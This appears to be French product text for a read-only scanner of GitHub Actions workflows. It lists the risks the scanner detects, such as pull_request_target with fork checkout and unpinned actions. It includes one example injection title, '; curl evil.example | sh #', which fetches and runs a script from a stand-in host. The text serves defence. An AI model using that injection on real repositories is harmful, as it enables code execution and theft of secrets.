Les workflows de .github/workflows/*.yml : des instructions cachées dans un titre de PR ou un commentaire qui se glissent dans une étape run: ; le motif pull_request_target + checkout du code d'un fork, et son cousin workflow_run avec les artefacts du run qui l'a déclenché ; des écritures dans GITHUB_ENV avec un déclencheur privilégié ; le token que actions/checkout laisse sur le disque ; secrets: inherit et toJSON(secrets) ; des workflows sans permissions: ; des actions tierces non épinglées à un commit et des secrets écrits à la main. Il ne fait que lire : il n'appelle pas l'API GitHub et n'exécute rien.
Le titre d'une PR, le corps d'une issue ou le nom d'une branche sont écrits par la personne qui ouvre la PR : c'est du texte libre. Si une étape run: l'insère tel quel entre guillemets, un titre comme "; curl evil.example | sh # cesse d'être du texte et devient la commande qui s'exécute.
pull_request_target existe pour lire les données d'une PR avec les permissions du dépôt de base — pensé pour NE PAS exécuter le code de la PR. Si une étape fait quand même un checkout de ce code, n'importe qui ouvrant une PR (même depuis un fork, sans aucun accès préalable) arrive à exécuter ce qu'il veut avec les secrets du dépôt.
Pour vérifier une clé suspecte avant de la coller ailleurs, utilise « Puis-je coller ceci ? ».
Lit les workflows, n'exécute rien et n'appelle jamais l'API GitHub. Cherche des instructions cachées dans un titre de PR qui s'infiltrent dans une étape shell, le schéma pull_request_target + checkout d'un fork, des actions tierces non épinglées à un commit et des secrets écrits à la main.